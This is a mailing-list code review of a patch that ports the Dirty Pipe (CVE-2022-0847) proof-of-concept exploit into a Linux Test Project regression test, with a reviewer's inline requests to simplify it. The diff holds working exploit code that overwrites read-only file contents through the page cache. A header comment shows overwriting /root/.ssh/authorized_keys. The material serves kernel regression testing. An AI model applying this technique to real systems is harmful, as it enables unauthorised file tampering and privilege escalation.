Re: [LTP] [PATCH] security/dirtypipe: Add test for CVE-2022-0847

[Richard Palethorpe <rpalethorpe@suse.de>]

Hello,

Yang Xu <xuyang2018.jy@fujitsu.com> writes:

> Fixes: #921
> Signed-off-by: Yang Xu <xuyang2018.jy@fujitsu.com>
> ---
>  runtest/cve                                   |   1 +
>  runtest/syscalls                              |   1 +
>  .../kernel/security/dirtypipe/.gitignore      |   1 +
>  testcases/kernel/security/dirtypipe/Makefile  |   6 +
>  .../kernel/security/dirtypipe/dirtypipe.c     | 195 ++++++++++++++++++
>  5 files changed, 204 insertions(+)
>  create mode 100644 testcases/kernel/security/dirtypipe/.gitignore
>  create mode 100644 testcases/kernel/security/dirtypipe/Makefile
>  create mode 100644 testcases/kernel/security/dirtypipe/dirtypipe.c
>
> diff --git a/runtest/cve b/runtest/cve
> index eaaaa19d7..9ab6dc282 100644
> --- a/runtest/cve
> +++ b/runtest/cve
> @@ -72,5 +72,6 @@ cve-2021-4034 execve06
>  cve-2021-22555 setsockopt08 -i 100
>  cve-2021-26708 vsock01
>  cve-2021-22600 setsockopt09
> +cve-2022-0847 dirtypipe
>  # Tests below may cause kernel memory leak
>  cve-2020-25704 perf_event_open03
> diff --git a/runtest/syscalls b/runtest/syscalls
> index a0935821a..efef18136 100644
> --- a/runtest/syscalls
> +++ b/runtest/syscalls
> @@ -1035,6 +1035,7 @@ process_vm_writev02 process_vm_writev02
>  
>  prot_hsymlinks prot_hsymlinks
>  dirtyc0w dirtyc0w
> +dirtypipe dirtypipe
>  
>  pselect01 pselect01
>  pselect01_64 pselect01_64
> diff --git a/testcases/kernel/security/dirtypipe/.gitignore b/testcases/kernel/security/dirtypipe/.gitignore
> new file mode 100644
> index 000000000..fdf39eed2
> --- /dev/null
> +++ b/testcases/kernel/security/dirtypipe/.gitignore
> @@ -0,0 +1 @@
> +/dirtypipe
> diff --git a/testcases/kernel/security/dirtypipe/Makefile b/testcases/kernel/security/dirtypipe/Makefile
> new file mode 100644
> index 000000000..5ea7d67db
> --- /dev/null
> +++ b/testcases/kernel/security/dirtypipe/Makefile
> @@ -0,0 +1,6 @@
> +# SPDX-License-Identifier: GPL-2.0-or-later
> +
> +top_srcdir		?= ../../../..
> +
> +include $(top_srcdir)/include/mk/testcases.mk
> +include $(top_srcdir)/include/mk/generic_leaf_target.mk
> diff --git a/testcases/kernel/security/dirtypipe/dirtypipe.c b/testcases/kernel/security/dirtypipe/dirtypipe.c
> new file mode 100644
> index 000000000..dfe7f5985
> --- /dev/null
> +++ b/testcases/kernel/security/dirtypipe/dirtypipe.c
> @@ -0,0 +1,195 @@
> +// SPDX-License-Identifier: GPL-2.0
> +/*
> + * Copyright 2022 CM4all GmbH / IONOS SE
> + *
> + * Author: Max Kellermann <max.kellermann@ionos.com>
> + *
> + * Ported into ltp by Yang Xu <xuyang2018.jy@fujitsu.com>
> + */
> +
> +/*\
> + * [Description]
> + *
> + * Proof-of-concept exploit for the Dirty Pipe
> + * vulnerability (CVE-2022-0847) caused by an uninitialized
> + * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
> + * file contents in the page cache, even if the file is not permitted
> + * to be written, immutable or on a read-only mount.
> + *
> + * This exploit requires Linux 5.8 or later; the code path was made
> + * reachable by commit f6dd975583bd ("pipe: merge
> + * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
> + * there before, it just provided an easy way to exploit it.
> + *
> + * There are two major limitations of this exploit: the offset cannot
> + * be on a page boundary (it needs to write one byte before the offset
> + * to add a reference to this page to the pipe), and the write cannot
> + * cross a page boundary.
> + *
> + * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
> + *
> + * Further explanation: https://dirtypipe.cm4all.com/
> + */

Thanks for doing the conversion, this is an important test IMO. However
it needs to be simplified. There is code here that mede sense in the
original PoC, but is just a maintenance risk here. Please see below.


> +
> +#ifndef _GNU_SOURCE
> +#define _GNU_SOURCE
> +#endif
> +#include <unistd.h>
> +#include <fcntl.h>
> +#include <stdio.h>
> +#include <stdlib.h>
> +#include <string.h>
> +#include <sys/stat.h>
> +#include <sys/user.h>
> +#include "tst_test.h"
> +
> +#define TEXT "AAAAAAAABBBBBBBB"
> +#define TESTFILE "testfile"
> +#define CHUNK 64
> +#define BUFSIZE 4096
> +
> +static int p[2] = {-1, -1}, fd = -1, page_size;
> +static char *write_buf, *read_buf;
> +
> +static void check_file_contents(void)
> +{
> +	SAFE_LSEEK(fd, 0, SEEK_SET);
> +	SAFE_READ(1, fd, read_buf, 4096);
> +
> +	if (memcmp(write_buf, read_buf, 4096) != 0)
> +		tst_res(TFAIL, "read buf data mismatch, bug exists");
> +	else
> +		tst_res(TPASS, "read buff data match, bug doesn't exist");
> +}
> +
> +/*
> + * Create a pipe where all "bufs" on the pipe_inode_info ring have the
> + * PIPE_BUF_FLAG_CAN_MERGE flag set.
> + */
> +static void prepare_pipe(void)
> +{
> +	unsigned int pipe_size, total, n, len;
> +	char buffer[BUFSIZE];
> +
> +	SAFE_PIPE(p);
> +	pipe_size = SAFE_FCNTL(p[1], F_GETPIPE_SZ);
> +
> +	/*
> +	 * fill the pipe completely; each pipe_buffer will now have the
> +	 * PIPE_BUF_FLAG_CAN_MERGE flag
> +	 */
> +	for (total = pipe_size; total > 0;) {
> +		n = total > sizeof(buffer) ? sizeof(buffer) : total;
> +		len = SAFE_WRITE(1, p[1], buffer, n);
> +		total -= len;
> +	}
> +
> +	/*
> +	 * drain the pipe, freeing all pipe_buffer instances (but leaving the
> +	 * flags initialized)
> +	 */
> +	for (total = pipe_size; total > 0;) {
> +		n = total > sizeof(buffer) ? sizeof(buffer) : total;
> +		len = SAFE_READ(1, p[0], buffer, n);
> +		total -= len;
> +	}
> +
> +	/*
> +	 * the pipe is now empty, and if somebody adds a new pipe_buffer
> +	 * without initializing its "flags", the buffe wiill be mergeable
> +	 */
> +}
> +
> +static void run(void)
> +{
> +	off_t offset;
> +	int data_size, len;
> +	struct stat st;
> +	ssize_t nbytes;
> +	loff_t next_page, end_offset;
> +
> +	offset = 1;
> +	data_size = strlen(TEXT);
> +	next_page = (offset | (page_size - 1)) + 1;

I think if the offset is 1 then the next page is just page_size + 1.

> +	end_offset = offset + (loff_t)data_size;
> +	if (end_offset > next_page)
> +		tst_brk(TFAIL, "Sorry, cannot write across a page
> boundary");
> +
> +	fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +	SAFE_FSTAT(fd, &st);
> +
> +	if (offset > st.st_size)
> +		tst_brk(TFAIL, "Offset is not inside the file");
> +	if (end_offset > st.st_size)
> +		tst_brk(TFAIL, "Sorry, cannot enlarget the file");

This checks the file was written to with enough data already. We can do
that in setup or not at all. Also the error message should make
sense. It makes sense in the original reproducer which takes arbtrary
files and offsets, but not here.

> +
> +	/*
> +	 * create the pipe with all flags initialized with
> +	 * PIPE_BUF_FLAG_CAN_MERGE
> +	 */

This comment is redundant

> +	prepare_pipe();
> +
> +	/*
> +	 * splice one byte from before the specified offset into the pipe;
> +	 * this will add a reference to the page cache, but since
> +	 * copy_page_to_iter_pipe() does not initialize the "flags",
> +	 * PIPE_BUF_FLAG_CAN_MERGE is still set
> +	 */
> +	--offset;

So we just use an offset of 0. The above code can probably all be
removed.

> +	nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
> +	if (nbytes < 0)
> +		tst_brk(TFAIL, "splice failed");
> +	if (nbytes == 0)
> +		tst_brk(TFAIL, "short splice");
> +
> +	/*
> +	 * the following write will not create a new pipe_buffer, but
> +	 * will instead write into the page cache, because of the
> +	 *  PIPE_BUF_FLAG_CAN_MERGE flag
> +	 */
> +	len = SAFE_WRITE(1, p[1], TEXT, data_size);
> +	if (len < nbytes)
> +		tst_brk(TFAIL, "short write");
> +
> +	check_file_contents();
> +	SAFE_CLOSE(p[0]);
> +	SAFE_CLOSE(p[1]);
> +	SAFE_CLOSE(fd);
> +}
> +
> +static void setup(void)
> +{
> +	memset(write_buf, 0xff, 4096);
> +
> +	page_size = SAFE_SYSCONF(_SC_PAGESIZE);

I don't think we even need the page size, we can just assume it is >=
4Kb which TEXT is not close to in size.

> +
> +	/*write 4k 0xff to file*/

Inline comments which are describing non-obvious things about kernel
internals are fine. However this is just describing what an LTP library
function does. It's against the style guide.

> +	tst_fill_file(TESTFILE, 0xff, CHUNK, BUFSIZE / CHUNK);

write_buf isn't used for writing. I think it would be better to call it
pattern_buf or just check the first sizeof(TEXT) bytes are not 0xff.

> +}
> +
> +static void cleanup(void)
> +{
> +	if (p[0] > -1)
> +		SAFE_CLOSE(p[0]);
> +	if (p[1] > -1)
> +		SAFE_CLOSE(p[1]);
> +	if (fd > -1)
> +		SAFE_CLOSE(fd);
> +}
> +
> +static struct tst_test test = {
> +	.setup = setup,
> +	.cleanup = cleanup,
> +	.test_all = run,
> +	.needs_tmpdir = 1,
> +	.bufs = (struct tst_buffers []) {
> +		{&write_buf, .size = 4096},
> +		{&read_buf, .size = 4096},
> +		{},
> +	},
> +	.tags = (const struct tst_tag[]) {
> +		{"linux-git", "9d2231c5d74e"},
> +		{"CVE", "CVE-2022-0847"},
> +		{},
> +	}
> +};
> -- 
> 2.27.0



-- 
Thank you,
Richard.

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp